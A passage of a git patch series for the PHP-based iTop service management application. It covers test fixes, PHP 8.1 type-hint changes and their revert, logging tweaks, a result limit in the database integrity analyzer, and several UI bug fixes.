$oRestProfile->GetKey(), $this->sPassword); - $this->AddProfileToUser($oUser, $oAdminProfile->GetKey()); - } - } + if (is_object($oRestProfile) && is_object($oAdminProfile)) { + $oUser = $this->CreateUser($this->sLogin, $oRestProfile->GetKey(), $this->sPassword); + $this->AddProfileToUser($oUser, $oAdminProfile->GetKey()); + } + } /** * @dataProvider BasicProvider @@ -62,6 +58,7 @@ class RestTest extends ItopDataTestCase $description = date('dmY H:i:s'); $sOuputJson = $this->CreateTicketViaApi($description); $aJson = json_decode($sOuputJson, true); + $this->assertNotNull($aJson, "Cannot decode returned JSON : $sOuputJson"); $this->assertContains("0", "".$aJson['code'], $sOuputJson); $sUserRequestKey = $this->array_key_first($aJson['objects']); $this->assertContains('UserRequest::', $sUserRequestKey); From a50ed02057692a13dc817250985ca0730d1ce140 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Mon, 16 Jan 2023 11:39:38 +0100 Subject: [PATCH 121/230] =?UTF-8?q?:white=5Fcheck=5Fmark:=20N=C2=B04660=20?= =?UTF-8?q?Fix=20OQLTest?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/unitary-tests/core/OQLTest.php | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/core/OQLTest.php b/tests/php-unit-tests/unitary-tests/core/OQLTest.php index 6db3fadb0..40a2e0845 100644 --- a/tests/php-unit-tests/unitary-tests/core/OQLTest.php +++ b/tests/php-unit-tests/unitary-tests/core/OQLTest.php @@ -38,11 +38,12 @@ class OQLTest extends ItopDataTestCase */ public function testOQLSetup() { - utils::GetConfig()->Set('apc_cache.enabled', false, 'test'); - utils::GetConfig()->Set('query_cache_enabled', false, 'test'); - utils::GetConfig()->Set('expression_cache_enabled', false, 'test'); + $oConfig = utils::GetConfig(); + $oConfig->Set('apc_cache.enabled', false, 'test'); + $oConfig->Set('query_cache_enabled', false, 'test'); + $oConfig->Set('expression_cache_enabled', false, 'test'); - $sConfigFile = utils::GetConfig()->GetLoadedFile(); + $sConfigFile = $oConfig->GetLoadedFile(); @chmod($sConfigFile, 0770); $oConfig->WriteToFile(); @chmod($sConfigFile, 0444); From 61be903eb2eeff5924667a33cb1bc90b086b44b2 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Mon, 16 Jan 2023 14:21:00 +0100 Subject: [PATCH 122/230] =?UTF-8?q?N=C2=B04517=20-=20PHP=208.1:=20Fix=20re?= =?UTF-8?q?turn=20type=20hint=20for=20iterable=20classes?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/dbobjectiterator.php | 2 +- core/dbobjectset.class.php | 2 +- core/ormlinkset.class.inc.php | 14 +++++++------- core/simplegraph.class.inc.php | 10 +++++----- 4 files changed, 14 insertions(+), 14 deletions(-) diff --git a/core/dbobjectiterator.php b/core/dbobjectiterator.php index 85e1e5208..264b57ba3 100644 --- a/core/dbobjectiterator.php +++ b/core/dbobjectiterator.php @@ -38,7 +38,7 @@ interface iDBObjectSetIterator extends Countable * * @return int */ - public function Count(); + public function Count(): int; /** * Reset the cursor to the first item in the collection. Equivalent to Seek(0) diff --git a/core/dbobjectset.class.php b/core/dbobjectset.class.php index 6e70cbc3b..a5c25ab9c 100644 --- a/core/dbobjectset.class.php +++ b/core/dbobjectset.class.php @@ -843,7 +843,7 @@ class DBObjectSet implements iDBObjectSetIterator * @throws \MySQLException * @throws \MySQLHasGoneAwayException */ - public function Count() + public function Count(): int { if (is_null($this->m_iNumTotalDBRows)) { diff --git a/core/ormlinkset.class.inc.php b/core/ormlinkset.class.inc.php index 43d433c12..131a28a14 100644 --- a/core/ormlinkset.class.inc.php +++ b/core/ormlinkset.class.inc.php @@ -312,7 +312,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function Count() + public function Count(): int { $this->LoadOriginalIds(); $iRet = count($this->aPreserved) + count($this->aAdded) + count($this->aModified); @@ -327,7 +327,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws Exception * @internal param int $iRow */ - public function Seek($iPosition) + public function Seek($iPosition): void { $this->LoadOriginalIds(); @@ -375,7 +375,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \MySQLException * @throws \MySQLHasGoneAwayException */ - public function current() + public function current(): mixed { $this->LoadOriginalIds(); @@ -410,7 +410,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function next() + public function next(): void { $this->LoadOriginalIds(); @@ -440,7 +440,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @link http://php.net/manual/en/iterator.key.php * @return mixed scalar on success, or null on failure. */ - public function key() + public function key(): mixed { return $this->iCursor; } @@ -455,7 +455,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function valid() + public function valid(): bool { $this->LoadOriginalIds(); @@ -473,7 +473,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function rewind() + public function rewind(): void { $this->LoadOriginalIds(); diff --git a/core/simplegraph.class.inc.php b/core/simplegraph.class.inc.php index 979992efb..1c5304d1a 100644 --- a/core/simplegraph.class.inc.php +++ b/core/simplegraph.class.inc.php @@ -745,27 +745,27 @@ class RelationTypeIterator implements Iterator } } - public function rewind() + public function rewind(): void { $this->iCurrentIdx = 0; } - public function valid() + public function valid(): bool { return array_key_exists($this->iCurrentIdx, $this->aList); } - public function next() + public function next(): void { $this->iCurrentIdx++; } - public function current() + public function current(): mixed { return $this->aList[$this->iCurrentIdx]; } - public function key() + public function key(): mixed { return $this->iCurrentIdx; } From 4c127b6f61177a7ad2b55d2d87a5d7792a9701e6 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Mon, 16 Jan 2023 14:38:20 +0100 Subject: [PATCH 123/230] =?UTF-8?q?Revert=20"N=C2=B04517=20-=20PHP=208.1:?= =?UTF-8?q?=20Fix=20return=20type=20hint=20for=20iterable=20classes"?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This reverts commit 61be903eb2eeff5924667a33cb1bc90b086b44b2. --- core/dbobjectiterator.php | 2 +- core/dbobjectset.class.php | 2 +- core/ormlinkset.class.inc.php | 14 +++++++------- core/simplegraph.class.inc.php | 10 +++++----- 4 files changed, 14 insertions(+), 14 deletions(-) diff --git a/core/dbobjectiterator.php b/core/dbobjectiterator.php index 264b57ba3..85e1e5208 100644 --- a/core/dbobjectiterator.php +++ b/core/dbobjectiterator.php @@ -38,7 +38,7 @@ interface iDBObjectSetIterator extends Countable * * @return int */ - public function Count(): int; + public function Count(); /** * Reset the cursor to the first item in the collection. Equivalent to Seek(0) diff --git a/core/dbobjectset.class.php b/core/dbobjectset.class.php index a5c25ab9c..6e70cbc3b 100644 --- a/core/dbobjectset.class.php +++ b/core/dbobjectset.class.php @@ -843,7 +843,7 @@ class DBObjectSet implements iDBObjectSetIterator * @throws \MySQLException * @throws \MySQLHasGoneAwayException */ - public function Count(): int + public function Count() { if (is_null($this->m_iNumTotalDBRows)) { diff --git a/core/ormlinkset.class.inc.php b/core/ormlinkset.class.inc.php index 131a28a14..43d433c12 100644 --- a/core/ormlinkset.class.inc.php +++ b/core/ormlinkset.class.inc.php @@ -312,7 +312,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function Count(): int + public function Count() { $this->LoadOriginalIds(); $iRet = count($this->aPreserved) + count($this->aAdded) + count($this->aModified); @@ -327,7 +327,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws Exception * @internal param int $iRow */ - public function Seek($iPosition): void + public function Seek($iPosition) { $this->LoadOriginalIds(); @@ -375,7 +375,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \MySQLException * @throws \MySQLHasGoneAwayException */ - public function current(): mixed + public function current() { $this->LoadOriginalIds(); @@ -410,7 +410,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function next(): void + public function next() { $this->LoadOriginalIds(); @@ -440,7 +440,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @link http://php.net/manual/en/iterator.key.php * @return mixed scalar on success, or null on failure. */ - public function key(): mixed + public function key() { return $this->iCursor; } @@ -455,7 +455,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function valid(): bool + public function valid() { $this->LoadOriginalIds(); @@ -473,7 +473,7 @@ class ormLinkSet implements iDBObjectSetIterator, Iterator, SeekableIterator * @throws \CoreUnexpectedValue * @throws \MySQLException */ - public function rewind(): void + public function rewind() { $this->LoadOriginalIds(); diff --git a/core/simplegraph.class.inc.php b/core/simplegraph.class.inc.php index 1c5304d1a..979992efb 100644 --- a/core/simplegraph.class.inc.php +++ b/core/simplegraph.class.inc.php @@ -745,27 +745,27 @@ class RelationTypeIterator implements Iterator } } - public function rewind(): void + public function rewind() { $this->iCurrentIdx = 0; } - public function valid(): bool + public function valid() { return array_key_exists($this->iCurrentIdx, $this->aList); } - public function next(): void + public function next() { $this->iCurrentIdx++; } - public function current(): mixed + public function current() { return $this->aList[$this->iCurrentIdx]; } - public function key(): mixed + public function key() { return $this->iCurrentIdx; } From de7c9d965e0fea49e53e93bf24ea80d55fcfa481 Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Tue, 17 Jan 2023 15:37:23 +0100 Subject: [PATCH 124/230] :bulb: PHPDoc in \DeprecatedCallsLog --- core/log.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/log.class.inc.php b/core/log.class.inc.php index ea4637dc6..9f1f20725 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -1022,6 +1022,7 @@ class DeprecatedCallsLog extends LogAPI public const ENUM_CHANNEL_FILE = 'deprecated-file'; public const CHANNEL_DEFAULT = self::ENUM_CHANNEL_PHP_METHOD; + /** @var string Warning this constant won't be used directly ! To see the real default level check {@see GetLevelDefault()} */ public const LEVEL_DEFAULT = self::LEVEL_ERROR; /** @var \FileLog we want our own instance ! */ @@ -1141,7 +1142,6 @@ class DeprecatedCallsLog extends LogAPI * - else call parent method * * In other words, when in dev mode all deprecated calls will be logged to file - * */ protected static function GetLevelDefault(string $sConfigKey) { From 3459dc59976145a8641632946ad856ad61ebb66e Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 17 Jan 2023 16:29:25 +0100 Subject: [PATCH 125/230] =?UTF-8?q?N=C2=B05897=20-=20Improve=20deprecated?= =?UTF-8?q?=20logs=20relevance=20for=20PHP=20"trigger=5Fdeprecation"?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- core/log.class.inc.php | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/core/log.class.inc.php b/core/log.class.inc.php index 9f1f20725..012206262 100644 --- a/core/log.class.inc.php +++ b/core/log.class.inc.php @@ -1097,7 +1097,12 @@ class DeprecatedCallsLog extends LogAPI } $aStack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 4); - $iStackDeprecatedMethodLevel = 2; // level 0 = current method, level 1 = @trigger_error, level 2 = method containing the `trigger_error` call + $iStackDeprecatedMethodLevel = 2; // level 0 = current method, level 1 = @trigger_error, level 2 = method containing the `trigger_error` call (can be either 'trigger_deprecation' or the faulty method), level 3 = In some cases, method containing the 'trigger_deprecation' call + // In case current level is actually a 'trigger_deprecation' call, try to go one level further to get the real deprecated method + if (array_key_exists($iStackDeprecatedMethodLevel, $aStack) && ($aStack[$iStackDeprecatedMethodLevel]['function'] === 'trigger_deprecation') && array_key_exists($iStackDeprecatedMethodLevel + 1, $aStack)) { + $iStackDeprecatedMethodLevel++; + } + $sDeprecatedObject = $aStack[$iStackDeprecatedMethodLevel]['class']; $sDeprecatedMethod = $aStack[$iStackDeprecatedMethodLevel]['function']; if (($sDeprecatedObject === __CLASS__) && ($sDeprecatedMethod === 'Log')) { From 640b1b917647491c7df6e9e33be8ede443a728b3 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 18 Jan 2023 16:38:16 +0100 Subject: [PATCH 126/230] :pencil2: Added missing use of class Toolbar --- .../Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php b/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php index 92dbd466e..eced0c288 100644 --- a/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php +++ b/sources/application/UI/Base/Component/Toolbar/Separator/ToolbarSeparatorUIBlockFactory.php @@ -9,6 +9,7 @@ namespace Combodo\iTop\Application\UI\Base\Component\Toolbar\Separator; use Combodo\iTop\Application\UI\Base\AbstractUIBlockFactory; +use Combodo\iTop\Application\UI\Base\Component\Toolbar\Toolbar; /** * Class ToolbarSeparatorUIBlockFactory From 9dc54d6e4c81c15e7e24b2bacb13cc27c564a0cf Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Wed, 18 Jan 2023 16:39:40 +0100 Subject: [PATCH 127/230] =?UTF-8?q?N=C2=B05901=20-=20Warnings=20in=20Detai?= =?UTF-8?q?ls=20part=20of=20file=20system=20Tab?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/Service/FilesInformationUtils.php | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/datamodels/2.x/itop-files-information/src/Service/FilesInformationUtils.php b/datamodels/2.x/itop-files-information/src/Service/FilesInformationUtils.php index a16ed2f75..33b5d61c3 100644 --- a/datamodels/2.x/itop-files-information/src/Service/FilesInformationUtils.php +++ b/datamodels/2.x/itop-files-information/src/Service/FilesInformationUtils.php @@ -177,7 +177,9 @@ class FilesInformationUtils else { $aStats = @stat($sFile); - $iSize += $aStats['size']; + if (is_array($aStats)) { + $iSize += $aStats['size']; + } } } return $iSize; From f75a51d59ef23754a672464f2eeb37a425b2f691 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 19 Jan 2023 08:51:02 +0100 Subject: [PATCH 128/230] =?UTF-8?q?N=C2=B05900=20-=20DB=20integrity=20anal?= =?UTF-8?q?ysis=20crashes=20when=20too=20many=20errors=20-=20limit=20the?= =?UTF-8?q?=20results=20to=20100=20to=20avoid=20memory=20errors?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../combodo-db-tools/db_analyzer.class.inc.php | 4 +++- datamodels/2.x/combodo-db-tools/dbtools.php | 17 +++++++++++++++-- .../dictionaries/en.dict.combodo-db-tools.php | 1 + .../dictionaries/fr.dict.combodo-db-tools.php | 1 + .../module.combodo-db-tools.php | 2 +- .../src/Service/DBAnalyzerUtils.php | 4 ++++ 6 files changed, 25 insertions(+), 4 deletions(-) diff --git a/datamodels/2.x/combodo-db-tools/db_analyzer.class.inc.php b/datamodels/2.x/combodo-db-tools/db_analyzer.class.inc.php index f8b2756de..8b7a90ce3 100644 --- a/datamodels/2.x/combodo-db-tools/db_analyzer.class.inc.php +++ b/datamodels/2.x/combodo-db-tools/db_analyzer.class.inc.php @@ -21,6 +21,8 @@ use Combodo\iTop\Core\MetaModel\HierarchicalKey; class DatabaseAnalyzer { + const LIMIT = 100; + var $iTimeLimitPerOperation; public function __construct($iTimeLimitPerOperation = null) @@ -45,7 +47,7 @@ class DatabaseAnalyzer set_time_limit(intval($this->iTimeLimitPerOperation)); } - $aWrongRecords = CMDBSource::QueryToArray($sSelWrongRecs); + $aWrongRecords = CMDBSource::QueryToArray($sSelWrongRecs.' limit '.self::LIMIT); if (count($aWrongRecords) > 0) { foreach($aWrongRecords as $aRes) diff --git a/datamodels/2.x/combodo-db-tools/dbtools.php b/datamodels/2.x/combodo-db-tools/dbtools.php index e48b9dbf0..65acd2c3b 100644 --- a/datamodels/2.x/combodo-db-tools/dbtools.php +++ b/datamodels/2.x/combodo-db-tools/dbtools.php @@ -207,9 +207,13 @@ function DisplayErrorList($aResults) foreach ($aResults as $sClass => $aErrorList) { foreach ($aErrorList as $sErrorLabel => $aError) { + $iCount = $aError['count']; + if ($iCount === DatabaseAnalyzer::LIMIT) { + $iCount = "$iCount(+)"; + } $aRows[] = [ 'class' => MetaModel::GetName($sClass).' ('.$sClass.')', - 'count' => $aError['count'], + 'count' => $iCount, 'error' => $sErrorLabel, ]; } @@ -227,10 +231,19 @@ function DisplayErrorDetails($aResults, $bVerbose) foreach ($aResults as $sClass => $aErrorList) { foreach ($aErrorList as $sErrorLabel => $aError) { - $sErrorTitle = Dict::Format('DBTools:DetailedErrorTitle', MetaModel::GetName($sClass).' ('.$sClass.')', $aError['count'], $sErrorLabel); + $iCount = $aError['count']; + if ($iCount === DatabaseAnalyzer::LIMIT) { + $iCount = "$iCount(+)"; + } + $sErrorTitle = Dict::Format('DBTools:DetailedErrorTitle', MetaModel::GetName($sClass).' ('.$sClass.')', $iCount, $sErrorLabel); $oCollapsible = CollapsibleSectionUIBlockFactory::MakeStandard($sErrorTitle); $oBlock->AddSubBlock($oCollapsible); + if ($aError['count'] === DatabaseAnalyzer::LIMIT) { + $oHTML = new Combodo\iTop\Application\UI\Base\Component\Html\Html('

'.Dict::format('DBTools:DetailedErrorLimit', DatabaseAnalyzer::LIMIT).'

'); + $oCollapsible->AddSubBlock($oHTML); + } + $oFieldSet = FieldSetUIBlockFactory::MakeStandard(Dict::S('DBTools:SQLquery')); $oCollapsible->AddSubBlock($oFieldSet); diff --git a/datamodels/2.x/combodo-db-tools/dictionaries/en.dict.combodo-db-tools.php b/datamodels/2.x/combodo-db-tools/dictionaries/en.dict.combodo-db-tools.php index d88ed63ea..f50c7ad1d 100644 --- a/datamodels/2.x/combodo-db-tools/dictionaries/en.dict.combodo-db-tools.php +++ b/datamodels/2.x/combodo-db-tools/dictionaries/en.dict.combodo-db-tools.php @@ -49,6 +49,7 @@ Dict::Add('EN US', 'English', 'English', array( 'DBTools:Inconsistencies' => 'Database inconsistencies', 'DBTools:DetailedErrorTitle' => '%2$s error(s) in class %1$s: %3$s', + 'DBTools:DetailedErrorLimit' => 'List limited to %1$s errors', 'DBAnalyzer-Integrity-OrphanRecord' => 'Orphan record in `%1$s`, it should have its counterpart in table `%2$s`', 'DBAnalyzer-Integrity-InvalidExtKey' => 'Invalid external key %1$s (column: `%2$s.%3$s`)', diff --git a/datamodels/2.x/combodo-db-tools/dictionaries/fr.dict.combodo-db-tools.php b/datamodels/2.x/combodo-db-tools/dictionaries/fr.dict.combodo-db-tools.php index 62e6cac09..4d431ffb9 100644 --- a/datamodels/2.x/combodo-db-tools/dictionaries/fr.dict.combodo-db-tools.php +++ b/datamodels/2.x/combodo-db-tools/dictionaries/fr.dict.combodo-db-tools.php @@ -44,6 +44,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'DBTools:Inconsistencies' => 'Incohérences de base de données', 'DBTools:DetailedErrorTitle' => '%2$s erreur(s) dans la classe %1$s : %3$s', + 'DBTools:DetailedErrorLimit' => 'Liste limitée à %1$s erreurs', 'DBAnalyzer-Integrity-OrphanRecord' => 'Enregistrement orphelin dans `%1$s`, il devrait avoir son équivalent dans la table `%2$s`', 'DBAnalyzer-Integrity-InvalidExtKey' => 'Clé externe invalide %1$s (colonne: `%2$s.%3$s`)', diff --git a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php index dd9fe4087..7efb878b7 100644 --- a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php +++ b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'combodo-db-tools/3.0.2', + 'combodo-db-tools/3.0.3', array( // Identification // diff --git a/datamodels/2.x/combodo-db-tools/src/Service/DBAnalyzerUtils.php b/datamodels/2.x/combodo-db-tools/src/Service/DBAnalyzerUtils.php index cada8bdbc..73630427f 100644 --- a/datamodels/2.x/combodo-db-tools/src/Service/DBAnalyzerUtils.php +++ b/datamodels/2.x/combodo-db-tools/src/Service/DBAnalyzerUtils.php @@ -8,6 +8,7 @@ namespace Combodo\iTop\DBTools\Service; use CoreException; +use DatabaseAnalyzer; use Dict; use DictExceptionMissingString; use MetaModel; @@ -38,6 +39,9 @@ class DBAnalyzerUtils fwrite($fReport, "\r\n-- \r\n"); fwrite($fReport, '-- Class: '.MetaModel::GetName($sClass).' ('.$sClass.")\r\n"); $iCount = $aError['count']; + if ($iCount === DatabaseAnalyzer::LIMIT) { + $iCount = "$iCount(+)"; + } fwrite($fReport, '-- Count: '.$iCount."\r\n"); fwrite($fReport, '-- Error: '.$sErrorLabel."\r\n"); if (array_key_exists('query', $aError)) { From effc4141c7ce51ec674a872566aaef989196d8a4 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Thu, 19 Jan 2023 09:30:37 +0100 Subject: [PATCH 129/230] =?UTF-8?q?N=C2=B05900=20-=20DB=20integrity=20anal?= =?UTF-8?q?ysis=20crashes=20when=20too=20many=20errors=20-=20module=20vers?= =?UTF-8?q?ion?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php index 7efb878b7..dd9fe4087 100644 --- a/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php +++ b/datamodels/2.x/combodo-db-tools/module.combodo-db-tools.php @@ -24,7 +24,7 @@ /** @noinspection PhpUnhandledExceptionInspection */ SetupWebPage::AddModule( __FILE__, // Path to the current file, all other file names are relative to the directory containing this file - 'combodo-db-tools/3.0.3', + 'combodo-db-tools/3.0.2', array( // Identification // From efa20e77d0c60483f934a5e08b2443c8cf999ced Mon Sep 17 00:00:00 2001 From: Pierre Goiffon Date: Thu, 19 Jan 2023 17:53:14 +0100 Subject: [PATCH 130/230] =?UTF-8?q?N=C2=B03769=20Add=20data-input-id=20HTM?= =?UTF-8?q?L=20attribute=20to=20fields=20in=20a=20transition=20form=20Was?= =?UTF-8?q?=20only=20present=20in=20object=20edit=20mode=20:(?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/cmdbabstract.class.inc.php | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) diff --git a/application/cmdbabstract.class.inc.php b/application/cmdbabstract.class.inc.php index a32de59e4..31ae27075 100644 --- a/application/cmdbabstract.class.inc.php +++ b/application/cmdbabstract.class.inc.php @@ -3410,28 +3410,30 @@ EOF } } $sInputType = ''; + $sInputId = 'att_'.$iFieldIndex; $sHTMLValue = cmdbAbstractObject::GetFormElementForField($oPage, $sClass, $sAttCode, $oAttDef, - $this->Get($sAttCode), $this->GetEditValue($sAttCode), 'att_'.$iFieldIndex, '', $iExpectCode, + $this->Get($sAttCode), $this->GetEditValue($sAttCode), $sInputId, '', $iExpectCode, $aArgs, true, $sInputType); - $aAttrib = array( + $aAttrib = array( 'label' => ''.$oAttDef->GetLabel().'', 'value' => "$sHTMLValue", ); //add attrib for data-attribute // Prepare metadata attributes - $sAttCode = $oAttDef->GetCode(); - $oAttDef = MetaModel::GetAttributeDef($sClass, $sAttCode); + $sAttCode = $oAttDef->GetCode(); + $oAttDef = MetaModel::GetAttributeDef($sClass, $sAttCode); $sAttDefClass = get_class($oAttDef); - $sAttLabel = MetaModel::GetLabel($sClass, $sAttCode); + $sAttLabel = MetaModel::GetLabel($sClass, $sAttCode); - $aAttrib['attcode'] = $sAttCode; - $aAttrib['atttype'] = $sAttDefClass; + $aAttrib['attcode'] = $sAttCode; + $aAttrib['atttype'] = $sAttDefClass; $aAttrib['attlabel'] = $sAttLabel; // - Attribute flags $aAttrib['attflags'] = $this->GetFormAttributeFlags($sAttCode); // - How the field should be rendered - $aAttrib['layout'] = (in_array($oAttDef->GetEditClass(), static::GetAttEditClassesToRenderAsLargeField())) ? 'large' : 'small'; + $aAttrib['layout'] = (in_array($oAttDef->GetEditClass(), static::GetAttEditClassesToRenderAsLargeField())) ? 'large' : 'small'; + $aAttrib['inputid'] = $sInputId; $aAttrib['inputtype'] = $sInputType; // - For simple fields, we get the raw (stored) value as well $bExcludeRawValue = false; @@ -3443,8 +3445,8 @@ EOF } $aAttrib['value_raw'] = ($bExcludeRawValue === false) ? $this->Get($sAttCode) : ''; - $aDetails[] = $aAttrib; - $aFieldsMap[$sAttCode] = 'att_'.$iFieldIndex; + $aDetails[] = $aAttrib; + $aFieldsMap[$sAttCode] = $sInputId; $iFieldIndex++; $bExistFieldToDisplay = true; } From 3ca4122673d40fd203db773e8252dc0f4919659e Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 20 Jan 2023 11:30:05 +0100 Subject: [PATCH 131/230] =?UTF-8?q?N=C2=B05834=20-=20Fix=20activity=20pane?= =?UTF-8?q?l=20disappearing=20when=20creating=20a=20Ticket=20in=20'resolve?= =?UTF-8?q?d'=20state?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- pages/UI.php | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/pages/UI.php b/pages/UI.php index 5e6fc6676..e83877864 100644 --- a/pages/UI.php +++ b/pages/UI.php @@ -1150,8 +1150,8 @@ EOF // $aIssues = $e->getIssues(); - $sObjKey = $oObj->GetKey(); - $sClassIcon = MetaModel::GetClassIcon($sClass, false); + $sClassLabel = MetaModel::GetName($sClass); + $sClassIcon = MetaModel::GetClassIcon($sClass); $sHeaderTitle = Dict::Format('UI:CreationTitle_Class', $sClassLabel); $oP->set_title(Dict::Format('UI:CreationPageTitle_Class', $sClassLabel)); @@ -1162,7 +1162,8 @@ EOF $sWarnings = implode(', ', $aWarnings); $oP->AddHeaderMessage($sWarnings, 'message_warning'); } - cmdbAbstractObject::DisplayCreationForm($oP, $sClass, $oObj, [], ['transaction_id' => $sTransactionId]); + $oP->SetContentLayout(PageContentFactory::MakeForObjectDetails($oObj, cmdbAbstractObject::ENUM_DISPLAY_MODE_CREATE)); + cmdbAbstractObject::DisplayCreationForm($oP, $sClass, $oObj, [], ['transaction_id' => $sTransactionId, 'wizard_container' => 1, 'keep_source_object' => true]); } } break; From 12ef74ec42b89aa2800a2998bd4fb9f78cecd2fd Mon Sep 17 00:00:00 2001 From: Anne-Catherine <57360138+accognet@users.noreply.github.com> Date: Mon, 30 Jan 2023 16:06:10 +0100 Subject: [PATCH 132/230] =?UTF-8?q?N=C2=B05849=20-=20Fix=20wrong=20encodin?= =?UTF-8?q?g=20of=20external=20keys=20in=20"Header=20with=20statstics"=20d?= =?UTF-8?q?ashlet=20(#384)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit N°5849 - Fix wrong encoding of external keys in "Header with statstics" dashlet #384 --- application/displayblock.class.inc.php | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/application/displayblock.class.inc.php b/application/displayblock.class.inc.php index f76453ae0..dd6c25a01 100644 --- a/application/displayblock.class.inc.php +++ b/application/displayblock.class.inc.php @@ -1045,9 +1045,19 @@ JS $aCount = $aCounts[$sStateValue]; $sHyperlink = $aCount['link']; $sCountLabel = $aCount['label']; - $oPill = PillFactory::MakeForState($sClass, $sStateValue) - ->SetTooltip($sStateLabel) - ->AddHtml("$sCountLabel".utils::HtmlEntities($sStateLabel).""); + + $oPill = PillFactory::MakeForState($sClass, $sStateValue); + // N°5849 - Unencode label for ExternalKey attribute because friendlyname is already html encoded thanks to DBObject::GetName() in AttributeExternalKey::GetAllowedValues(). (A fix in this function may have too much impact). + if ($oAttDef instanceof AttributeExternalKey) { + $sPillTooltip = utils::HtmlEntityDecode($sStateLabel); + $sPillLabel = $sStateLabel; + } else { + $sPillTooltip = $sStateLabel; + $sPillLabel = utils::HtmlEntities($sStateLabel); + } + $oPill->SetTooltip($sPillTooltip) + ->AddHtml("$sCountLabel".$sPillLabel.""); + if ($sHyperlink != '-') { $oPill->SetUrl($sHyperlink); } From 99b7d66cf2b00a29edbb13ab1022c7ccc1fcc865 Mon Sep 17 00:00:00 2001 From: Eric Espie Date: Fri, 3 Feb 2023 11:09:43 +0100 Subject: [PATCH 133/230] =?UTF-8?q?N=C2=B05944=20-=20Wrong=20filter=20for?= =?UTF-8?q?=20utils::GetClassesForInterface()?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- application/utils.inc.php | 18 ++++++++++++------ pages/preferences.php | 2 +- .../TwigBase/UI/UIBlockExtension.php | 6 ++---- 3 files changed, 15 insertions(+), 11 deletions(-) diff --git a/application/utils.inc.php b/application/utils.inc.php index 